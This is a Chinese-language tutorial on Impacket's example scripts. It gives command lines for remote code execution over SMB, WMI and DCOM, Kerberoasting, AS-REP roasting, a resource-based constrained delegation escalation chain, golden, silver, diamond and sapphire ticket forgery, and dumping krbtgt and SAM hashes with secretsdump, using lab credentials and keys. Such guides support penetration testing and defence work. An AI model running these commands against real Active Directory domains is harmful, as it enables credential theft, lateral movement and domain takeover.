暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Impacket脚本利用指南(上)

SafeTime 2022-11-24
2222


点击上方蓝字关注我们


Impacket脚本利用指南(上)




在平时的项目中,我们经常使用Impacket的脚本,例如Secretsdump、ntlmrelayx,但是实际上Impacket的利用除了示例脚本外还有很多,示例脚本只是其中一部分。因为Impacket的定位是一个处理各种网络协议的Python类。提供对数据包的底层编程,并为某些协议提供对应的协议实现。

不过因为示例脚本的可用性、以及示例脚本存在多种用法。所以这篇文章旨在研究学习Impacket所有示例脚本的功能,并通过示例脚本学习Impacket库的使用。

Impacket脚本使用实例

通用选项

hash认证

    py -3 xxx.py domain/user@ip -hashes :161cff084477fe596a5db81874498a24

    Kerberos认证

      export KRB5CCNAME=ad01.ccache
      py -3 xxx.py -k -no-pass

      指定目标IP

        -target-ip 192.168.40.156

        指定域控IP

          -dc-ip 192.168.40.156

          远程执行

          psexec.py

          可使用密码认证、hash认证、kerberos认证。

          常用命令

          交互式Shell

            py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156

            执行单命令

              py -3 psexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami

              上传文件并执行

                py -3 psexec.py test/administrator@192.168.40.156 "/c 1+1"  -remote-binary-name test.exe  -codec 936 -path c:\windows\temp\ -c p.exe -hashes :161cff084477fe596a5db81874498a24

                常用选项

                  -port [destination port] 指定目标SMB的端口
                  -codec codec 目标回显的编码,可先执行chcp.com拿到回显编码
                  -service-name service_name 指定创建服务的名称,默认随机
                  -remote-binary-name remote_binary_name 指定上传文件的名称,默认随机

                  smbexec.py

                  可使用密码认证、hash认证、kerberos认证。

                  需要注意此脚本有一些参数是硬编码的,最好使用前修改一下。还可以增加单行命令执行的功能。

                  常用命令

                  交互式Shell

                    py -3 smbexec.py test/administrator:1qaz@WSX@192.168.40.156

                    常用选项

                      -share SHARE 自定义回显的共享路径,默认为C$
                      -mode {SHARE,SERVER} 设置SHARE回显或者SERVER回显,SERVER回显需要root linux
                      -shell-type {cmd,powershell} 设置返回的Shell类型

                      atexec.py

                      可使用密码认证、hash认证、kerberos认证。

                      脚本使用前可修改一下回显的共享路径

                      常用命令

                      执行命令获得回显

                        py -3 atexec.py test/administrator:1qaz@WSX@192.168.40.156 whoami

                        常用选项

                        -session-id SESSION_ID 使用登录的SESSION运行无回显不会主动调用cmd如silentcommand
                        -silentcommand 不运行cmd.exe直接运行命令

                        wmiexec.py

                        可使用密码认证、hash认证、kerberos认证。

                        常用命令

                          py -3 wmiexec.py test/administrator:1qaz@WSX@192.168.40.156

                          常用选项

                            -share SHARE 设置连接的共享路径,默认ADMIN$
                            -nooutput 不获取输出,没有SMB连接
                            -silentcommand 不运行cmd.exe,直接运行命令
                            -shell-type {cmd,powershell} 设置返回的Shell类型
                            -com-version MAJOR_VERSION:MINOR_VERSION 设置DCOM版本

                            dcomexec.py

                            可使用密码认证、hash认证、kerberos认证。

                            一般使用MMC20,而且DCOM有时候会遇到0x800706ba的错误,一般都是被防火墙拦截。

                            常用命令

                              py -3 dcomexec.py -object MMC20 test.com/administrator:1qaz@WSX@192.168.40.156

                              常用选项

                                -nooutput 不获取输出,没有SMB连接
                                -object [{ShellWindows,ShellBrowserWindow,MMC20}] 设置RCE利用的类型
                                -com-version MAJOR_VERSION:MINOR_VERSION 设置DCOM版本
                                -shell-type {cmd,powershell} 设置返回的Shell类型
                                -silentcommand 不运行cmd.exe,直接运行命令

                                Kerberos协议

                                GetTGT.py

                                可使用密码认证、hash认证、kerberos认证。

                                通过认证后去DC请求TGT并保存。

                                常用命令

                                获取administrator用户的TGT,TGT过期前可拿来获取其权限

                                  py -3 GetTGT.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156

                                  GetST.py

                                  可使用密码认证、hash认证、kerberos认证。

                                  通过认证后去DC请求ST并保存。

                                  常用命令

                                  用administrator的权限获取AD01.test.com的cifs服务的服务票据(ST)

                                    py -3 GetST.py test/administrator:1qaz@WSX -dc-ip 192.168.40.156 -spn cifs/AD01.test.com

                                    常用选项

                                      -impersonate IMPERSONATE  模拟为指定的用户的权限
                                      -additional-ticket ticket.ccache 在委派的S4U2Proxy中添加一个可转发的服务票据
                                      -force-forwardable 通过CVE-2020-17049强制忽略校验票据是否可转发


                                      GetPac.py

                                      可使用密码认证、hash认证

                                      常用命令

                                      查询test用户的PAC,可以看到登录次数、密码错误次数之类的

                                        py -3 getPac.py test.com/administrator:1qaz@WSX -targetUser test


                                        GetUserSPNs.py

                                        可使用密码认证、hash认证、Kerberos认证

                                        常用命令

                                        查询test.com中的用户的SPN有哪些,只需要任意一个域用户即可利用,只要有用户的SPN可以请求,可以获取其TGS爆破其密码

                                          py -3 GetUserSPNs.py test.com/administrator:1qaz@WSX -target-domain test.com

                                          常用选项

                                            -request 请求所有用户SPN的TGS,可拿来爆破用户密码
                                            -request-user username 请求指定用户的TGS
                                            -usersfile USERSFILE 请求指定文件内所有用户的TGS

                                            GetNPUsers.py

                                            可使用密码认证、hash认证、Kerberos认证

                                            常用命令

                                            查询域内哪些用户不需要Kerberos预身份认证,只需要任意一个域用户即可利用,只要有用户不需要Kerberos预身份认证,可以获取其AS_REQ拿来爆破其密码。

                                              py -3 GetNPUsers.py test.com/test:1qaz@WSX

                                              常用选项

                                                -request 请求不需要Kerberos预身份认证用户的TGT,可拿来爆破
                                                -format {hashcat,john} 设置AS_REQ的爆破格式,默认hashcat
                                                -usersfile USERSFILE 请求指定文件内所有用户的TGT
                                                -outputfile OUTPUTFILE 向指定文件输出结果

                                                rbcd.py

                                                可使用密码认证、hash认证、Kerberos认证

                                                rbcd这个脚本适合于已经有了一个域用户,然后发现该用户对目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性有写权限。例如有GenericAll就包含此子权限。

                                                此时通过该域用户创建一个机器账户加入域,就能将机器账户的SID写入目标机器的属性中。从而让机器账户可以在目标机器上通过委派模拟为任意用户的权限。

                                                常用命令

                                                使用test用户向WIN-7$的msDS-AllowedToActOnBehalfOfOtherIdentity属性写入test_computer$的SID

                                                  py -3 .\rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write

                                                  常用选项

                                                    -action [{read,write,remove,flush}] 选择要对特殊属性进行的操作,可选读取、写入、删除、清空
                                                    -use-ldaps 使用LDAPS协议替换LDAP

                                                    利用实例

                                                    因为这个脚本利用比较复杂,所以增加了利用实例

                                                    比如,此时我在域中拥有一个普通用户test:1qaz@WSX,通过ACL发现test对WIN-7具有msDS-AllowedToActOnBehalfOfOtherIdentity的写权限。

                                                    所以我先通过test添加一个computer,test_computer$:1qaz@WSX,命令如下:

                                                      py -3 addcomputer.py test.com/test:1qaz@WSX -computer-name test_computer$ -computer-pass 1qaz@WSX

                                                      然后通过test用户和rbcd.py脚本给WIN-7设置属性。将WIN-7$的msDS-AllowedToActOnBehalfOfOtherIdentity属性指向test_computer$

                                                        py -3 .\rbcd.py -delegate-to WIN-7$ -delegate-from test_computer$ -dc-ip 192.168.40.140 test/test:1qaz@WSX -action write

                                                        设置好属性后,使用getST.py获取到administrator的cifs/WIN-7的服务票据(ST)

                                                          py -3 .\getST.py -spn 'cifs/WIN-7' -impersonate administrator -dc-ip 192.168.40.140 'test/test_computer$:1qaz@WSX'

                                                          将生成的适合Linux使用的ccache格式转换为Windows的kirbi

                                                            py -3 .\ticketConverter.py .\administrator.ccache .\administrator.kirbi

                                                            通过mimikatz加载票据

                                                              kerberos::ptt C:\Python38\Scripts\administrator.kirbi

                                                              此时即可正式利用,可通过klist查看票据确实注入了。然后直接对目标的cifs进行dir操作,或通过psexec等横向手法横向即可。如下图所示:

                                                              无MAQ时的新利用方式

                                                              当用户具有A机器的写权限,但是无法新建机器利用rbcd,且当前用户没有可用的SPN时,可以使用该技术。该技术还未并入主进程。

                                                              使用UPN替代SPN进行rbcd。流程如下:

                                                              用test用户的权限请求模拟administrator用户的服务票据,仅在rbcd情况下有效。且获取TGT后要将TGT的Sessionkey改为test的hash。否则TGS无法解密

                                                              #请求test/test用户的TGT

                                                                getTGT.py -hashes :$(pypykatz crypto nt 'password') test/test

                                                                #查看TGT里面的Ticket Session Key

                                                                  describeTicket.py 'TGT.ccache' | grep 'Ticket Session Key'

                                                                  #将test/test用户的hash改为TGTSessionKey

                                                                    smbpasswd.py -newhashes :TGTSessionKey test/test:'password'@'dc01'

                                                                    #通过委派模拟为administrator用户

                                                                      KRBR5CCNAME='TGT.ccache'
                                                                      getST.py -u2u -impersonate Administrator -k -no-pass test/test

                                                                      #还原test/test用户的hash

                                                                        smbpasswd.py -hashes :TGTSessionKey -newhashes :OldNTHash test/test@'dc01'

                                                                        参考资料:

                                                                          https://github.com/GhostPack/Rubeus/pull/137

                                                                          ticketConverter.py

                                                                          不需要认证,因为这个脚本是在ccache和kirbi格式中互相转换用的脚本。

                                                                          常用命令

                                                                          将ccache转换为kirbi,交换位置就是kirbi转换为ccache

                                                                            py -3 .\ticketConverter.py .\administrator.ccache .\administrator.kirbi
                                                                            ticketer.py

                                                                            可使用密码认证、hash认证

                                                                            这个脚本主要拿来伪造各种服务票据,例如银票据、金票据、钻石票据、蓝宝石票据。

                                                                            注意2021年11月更新之后,如果用户名在AD域中不存在,则票据会被拒绝。

                                                                            常用命令

                                                                            银票伪造

                                                                            银票因为不需要与DC通信,所以比金票更加隐蔽。但是银票只能对伪造的服务有效,且会随着服务账户密码的修改而失效。

                                                                            使用win-7$的机器账户的hash96dd976cc094ca1ddb2f06476fb61eb6伪造cifs/win-7的服务票据,使用票据的用户是根本不存在的qqq或者存在的任意用户。

                                                                              py -3 .\ticketer.py -spn cifs/win-7 -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq

                                                                              金票伪造

                                                                              使用krbtgt的密钥伪造TGT中的PAC的权限,证明任意用户属于特权组。然后通过伪造了PAC的TGT换ST,从而获得任意服务的权限。金票据因为需要和DC进行交互,所以建议在域内使用,域外通过代理使用有时候会换不到ST。

                                                                              注意金票会随着krbtgt密码的修改而失效

                                                                              在银票的命令基础上去掉-spn,将nthash修改为krbtgt的hash即可。

                                                                                py -3 .\ticketer.py -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -domain test.com -nthash 96dd976cc094ca1ddb2f06476fb61eb6 qqq

                                                                                钻石票据伪造

                                                                                由于金票据和银票据没有合法的KRB_AS_REQ或KRB_TGS_REG请求,所以会被发现。而钻石票据会正常请求票据,然后解密票据的PAC,修改并重新加密。从而增加了隐蔽性。

                                                                                aesKey是krbtgt的密钥,注意一般aesKey都是256位加密的,这个得看DC的算法。不过128也建议存一份吧

                                                                                -user-id和-groups是可选的,如果不选分别会默认500和513, 512, 520, 518, 519

                                                                                -user和-password是要真实去发起TGT请求的用户的账密,可使用hash。这个用户实际上是什么权限不重要

                                                                                  py -3 ticketer.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -user-id 1500 -groups 12,513,518,519,520 qqq

                                                                                  蓝宝石票据伪造

                                                                                  钻石票据是伪造的PAC特权,但是蓝宝石票据是将真实高权限用户的PAC替换到低权限的TGT中,从而成为目前最难检测的手法

                                                                                  不过该技术还是impacket的一个分支,正在等待合并。

                                                                                  注意,因脚本问题,未复现成功

                                                                                    py -3 ticketer_imper.py -request -domain test.com -domain-sid S-1-5-21-2799988422-2257142125-1453840996 -user administrator -password 1qaz@WSX -aesKey 245a674a434726c081385a3e2b33b62397e9b5fd7d02a613212c7407b9f13b41 -impersonate administrator qqq

                                                                                    参考:

                                                                                    https://github.com/SecureAuthCorp/impacket/pull/1411

                                                                                    常用选项

                                                                                      -spn SPN 银票用,一般都是某个服务器的cifs或DC的ldap服务,mssql啥的也可以考虑
                                                                                      -request 要求请求TGT,这个脚本里可以理解为钻石票据伪造。必须同时存在-user和-password
                                                                                      -aesKey hex key 用来签名票据的krbtgt的AES加密的密码
                                                                                      -nthash NTHASH 用来签名票据的krbtgt的NTLM加密的密码
                                                                                      -keytab KEYTAB 请求文件内容中的多个银票据
                                                                                      -duration DURATION 修改票据的失效时间
                                                                                      -user-id USER_ID 指定伪造PAC的用户权限ID,默认是500 管理员
                                                                                      -groups GROUPS 指定伪造PAC的组权限ID,默认是513, 512, 520, 518, 519这五个组

                                                                                      raiseChild.py(无环境)

                                                                                      可使用密码认证、hash认证、Kerberos认证

                                                                                      常用命令

                                                                                        py -3 raiseChild.py childDomain.net/adminuser:mypwd

                                                                                        常用选项

                                                                                        Windows密码

                                                                                        secretsdump.py

                                                                                        常用命令

                                                                                        基于NTLM认证,使用机器用户导出

                                                                                          py -3 secretsdump.py -hashes 5f8506740ed68996ffd4e5cf80cb5174:5f8506740ed68996ffd4e5cf80cb5174 "domain/DC\$@DCIP" -just-dc-user krbtgt

                                                                                          基于Kerberos票据导出

                                                                                            export KRB5CCNAME=ad01.ccache
                                                                                            py -3 secretsdump.py -k -no-pass AD01.test.com -dc-ip 192.168.111.146 -target-ip 192.168.111.146 -just-dc-user krbtgt

                                                                                            本地解密SAM

                                                                                              py -3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

                                                                                              常用选项

                                                                                                -system SYSTEM SYSTEM文件
                                                                                                -security SECURITY security文件
                                                                                                -sam SAM SAM文件
                                                                                                -ntds NTDS NTDS.DIT文件
                                                                                                -resumefile RESUMEFILE 待恢复的NTDS.DIT转储文件
                                                                                                -outputfile OUTPUTFILE 输出的文件名
                                                                                                -use-vss 使用vss卷影替代DRSUAPI
                                                                                                -rodcNo RODCNO Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)
                                                                                                -rodcKey RODCKEY AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)
                                                                                                -use-keylist 使用KerberosKeyList转储TGS-REQ
                                                                                                -exec-method [{smbexec,wmiexec,mmcexec}] 使用vss卷影导出时执行命令的方法,分别有smbexec、wmiexec、mmcexec

                                                                                                mimikatz.py

                                                                                                这是一个比较鸡肋的功能,需要先在目标机器上用mimikatz执行rpc::server

                                                                                                然后用该脚本进行连接

                                                                                                  py -3 .\mimikatz.py test.com/administrator:1qaz@WSX@192.168.40.158

                                                                                                  Impacket的脚本其他介绍

                                                                                                  以下是来自官方的介绍:

                                                                                                  类型

                                                                                                  脚本名

                                                                                                  脚本介绍

                                                                                                  远程执行

                                                                                                  psexec.py

                                                                                                  使用了RemComSvc的实现了PSEXEC功能的脚本。

                                                                                                  远程执行

                                                                                                  smbexec.py

                                                                                                  类似PSECEX的执行方式,但未使用RemComSvc。这个脚本使用了一个本地SMB Server接收返回的结果,可以避免目标SMB没有可写的目录

                                                                                                  远程执行

                                                                                                  atexec.py

                                                                                                  这个脚本通过MS-TSCH协议控制计划任务在目标机器上执行命令并获得回显

                                                                                                  远程执行

                                                                                                  wmiexec.py

                                                                                                  通过WMI实现了半交互式的Shell,不需要在目标安装任何服务或软件。而且高度隐蔽的以管理员权限运行

                                                                                                  远程执行

                                                                                                  dcomexec.py

                                                                                                  类似wmiexec.py的半交互式Shell,但是使用了DCOM接口,目前支持的接口有MMC20.Application、ShellWindows、ShellBrowserWindows

                                                                                                  Kerberos协议

                                                                                                  GetTGT.py

                                                                                                  提供密码、hash或aeskey用来请求TGT并且保存为ccache格式

                                                                                                  Kerberos协议

                                                                                                  GetST.py

                                                                                                  提供密码、hash、aeskey或ccache格式的TGT,可以请求服务票据并保存为ccache格式。如果提供的账户存在约束委派且支持协议转换,那么可以使用-impersonate选项模拟为其他用户请求票据

                                                                                                  Kerberos协议

                                                                                                  GetPac.py

                                                                                                  这个脚本会为指定用户请求经过身份验证的PAC,通过使用MS-SFU协议的S4USelf和U2U的Kerberos认证实现

                                                                                                  Kerberos协议

                                                                                                  GetUserSPNs.py

                                                                                                  这个脚本会找出和普通用户账户关联的SPN,输出格式与JtR和hashcat兼容

                                                                                                  Kerberos协议

                                                                                                  GetNPUsers.py

                                                                                                  这个脚本会尝试获得并列出不需要Kerberos域认证(UF_DONT_REQUIRE_PREAUTH)的用户,输出和JtR兼容。

                                                                                                  Kerberos协议

                                                                                                  rbcd.py

                                                                                                  这个脚本可以处理目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性

                                                                                                  Kerberos协议

                                                                                                  ticketConverter.py

                                                                                                  这个脚本可以在mimikatz常用的kirbi文件和Impacket常用的ccache文件之间进行转换

                                                                                                  Kerberos协议

                                                                                                  ticketer.py

                                                                                                  这个脚本可以基于模板或自己创建金、银票据,并允许你自定义PAC_LOGON_INFO、groups、ExtraSids、duration等属性

                                                                                                  Kerberos协议

                                                                                                  raiseChild.py

                                                                                                  这个脚本通过金票据和ExtraSids实现从子域到域森林的提权

                                                                                                  Windows密码

                                                                                                  secretsdump.py

                                                                                                  提供各种技术以不运行任何程序远程dump密码。对SAM和LSA以及缓存的凭据,会尝试从目标注册表中读取并将hives保存在%SYSTEMROOT%\Temp目录,再将hives读取回来。对于DIT文件,会使用DL_DRSGetNCChanges函数来dump目标的NTLM hash、明文密码和Kerberos keys。也可以通过smbexec或wmiexec执行vssadmin得到NTDS.dit,并对其进行解密。这个脚本在服务不可用的情况下会打开对应的服务,例如远程注册表。在执行结束后,会将激活的服务还原。

                                                                                                  Windows密码

                                                                                                  mimikatz.py

                                                                                                  一个用来控制远程mimikatz RPC服务器的Shell,由@gentikiwi开发。

                                                                                                  中继及其服务

                                                                                                  ntlmrelayx.py

                                                                                                  这个工具提供NTLM中继,提供SMB、HTTP、WCF和RAW服务,并可以中继到SMB、HTTP、MSSQL、LDAP、IMAP、POP3等协议上。这个脚本可以提前定义好攻击手法等待中继被触发(例如通过LDAP创建用户)。还可以在SOCKS代理中进行中继,并可以允许多次通过SOCKS代理进行中继转发。

                                                                                                  中继及其服务

                                                                                                  karmaSMB.py

                                                                                                  一个不管收到任何SMB请求或共享但只返回指定文件内容的SMB服务器

                                                                                                  中继及其服务

                                                                                                  smbserver.py

                                                                                                  使用Python模拟的SMB服务器,允许快速部署共享和对应的用户

                                                                                                  WMI协议

                                                                                                  wmiquery.py

                                                                                                  允许在目标系统上查询WQL并获取WMI对象的描述

                                                                                                  WMI协议

                                                                                                  wmipersist.py

                                                                                                  这个脚本创建、删除WMI事件订阅且可通过WQL过滤器或定时器执行指定的VB脚本

                                                                                                  漏洞利用

                                                                                                  goldenPac.py

                                                                                                  MS14-068的利用脚本,保存金票据且在目标对象启动PSEXEC会话

                                                                                                  漏洞利用

                                                                                                  sambaPipe.py

                                                                                                  CVE-2017-7494的利用脚本,上传并执行特定的共享库文件,使用-so参数指定

                                                                                                  漏洞利用

                                                                                                  smbrelayx.py

                                                                                                  CVE-2015-0005的SMB中继利用脚本,如果目标开启了强制认证且提供了机器账户,这个脚本会尝试通过NETLOGON收集SMB密钥

                                                                                                  SMB/MSRPC协议

                                                                                                  smbclient.py

                                                                                                  一个可以列出共享目录、文件,并上传、下载、创建、删除的通用SMB客户端。可以通过密码或hash进行认证。这是一个很好的示例演示如何使用impacket.smb包。

                                                                                                  SMB/MSRPC协议

                                                                                                  addcomputer.py

                                                                                                  允许通过LDAP或SAMR添加机器加入域。

                                                                                                  SMB/MSRPC协议

                                                                                                  getArch.py

                                                                                                  这个脚本可以连接目标机器的MSRPC接口并收集其安装的系统版本

                                                                                                  SMB/MSRPC协议

                                                                                                  exchanger.py

                                                                                                  通过RPC over HTTP连接微软Exchange的工具

                                                                                                  SMB/MSRPC协议

                                                                                                  lookupsid.py

                                                                                                  通过MSRPC接口的MS-LSAT协议进行Windows SID爆破的工具,旨在查找远程用户和组

                                                                                                  SMB/MSRPC协议

                                                                                                  netview.py

                                                                                                  列出一个远程目标的连接中会话表单,并循环跟踪登录用户,且持续监控远程目标的登录、登出情况

                                                                                                  SMB/MSRPC协议

                                                                                                  reg.py

                                                                                                  通过MSRPC接口的MS-RRP协议实现的远程注册表操作工具。类似于Windows上的reg.exe。

                                                                                                  SMB/MSRPC协议

                                                                                                  rpcdump.py

                                                                                                  这个脚本会列出目标的RPC接口及其绑定的字符串。并会尝试连接目标常见的接口

                                                                                                  SMB/MSRPC协议

                                                                                                  rpcmap.py

                                                                                                  扫描监听的DCE、RPC接口,也会绑定到MGMT接口且获得接口具有的UUIDs。如果MGMT接口不可用,会使用常见的UUIDs对每个接口尝试连接爆破。

                                                                                                  SMB/MSRPC协议

                                                                                                  samrdump.py

                                                                                                  MSRPC接口的SAMR协议的连接工具。可以通过该服务列出系统用户,可用的共享资源和其他敏感信息。

                                                                                                  SMB/MSRPC协议

                                                                                                  services.py

                                                                                                  这个脚本可以通过MSRPC接口的MS-SCMR协议管理Windows服务。提供了服务的运行、停止、删除、状态、配置、列出、创建和修改功能。

                                                                                                  SMB/MSRPC协议

                                                                                                  smbpasswd.py

                                                                                                  这个脚本是smbpasswd工具的替代品,可以通过SAMR协议远程修改过期密码

                                                                                                  MSSQL/TDS协议

                                                                                                  mssqlinstance.py

                                                                                                  从目标检索MSSQL实例的名字

                                                                                                  MSSQL/TDS协议

                                                                                                  mssqlclient.py

                                                                                                  一个MSSQL客户端,提供SQL和Windows认证(可用hash)。支持TLS协议。

                                                                                                  文件系统

                                                                                                  esentutl.py

                                                                                                  一个普遍的存储引擎格式实现,允许转储ESE数据库(例如NTDS.dit)的日志、页和表

                                                                                                  文件系统

                                                                                                  ntfs-read.py

                                                                                                  NTFS格式实现。这个脚本提供一个浏览、提取NTFS硬盘的shell,包括硬盘中隐藏、锁定的内容。

                                                                                                  文件系统

                                                                                                  registry-read.py

                                                                                                  一个Windows注册表文件格式实现。允许解析离线注册表单元。

                                                                                                  其他

                                                                                                  findDelegation.py

                                                                                                  一个简单快速在域中列出委派关系的脚本,例如非约束委派、约束委派、基于资源的约束委派

                                                                                                  其他

                                                                                                  GetADUsers.py

                                                                                                  这个脚本收集域用户和对应邮箱地址的数据。也会收集一些额外的信息,例如最后登录时间、密码最后设置时间。

                                                                                                  其他

                                                                                                  Get-GPPPassword.py

                                                                                                  通过流处理文件替代加载共享最终提取并解开组策略的首选密码。另外,还可以离线解析组策略的XML文件

                                                                                                  其他

                                                                                                  mqtt_check.py

                                                                                                  简单的MQTT示例,旨在提供不同的登录选项,可以非常快的转换为账户密码爆破工具。

                                                                                                  其他

                                                                                                  rdp_check.py

                                                                                                  MS-RDPBCGR和MS-CREDSSP协议的部分实现,只实现了CreadSSP认证,这个示例可以测试账户在目标上是否可用。

                                                                                                  其他

                                                                                                  sniff.py

                                                                                                  使用pcapy库监听#transit指定的接口进行数据包的简单嗅探

                                                                                                  其他

                                                                                                  sniffer.py

                                                                                                  使用原生的socket监听指定协议对应的数据包

                                                                                                  其他

                                                                                                  ping.py

                                                                                                  使用ICMP echo和echo-reply数据包检测目标存活的ICMP ping工具。如果目标存活,此工具应该会使用echo-replay数据包回复发出的echo探针

                                                                                                  其他

                                                                                                  ping6.py

                                                                                                  使用ICMP echo和echo-reply数据包检测目标存活的IPV6 ICMP ping工具。

                                                                                                  首发先知社区

                                                                                                    https://xz.aliyun.com/t/11877

                                                                                                    文章转载自SafeTime,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                                                                                                    评论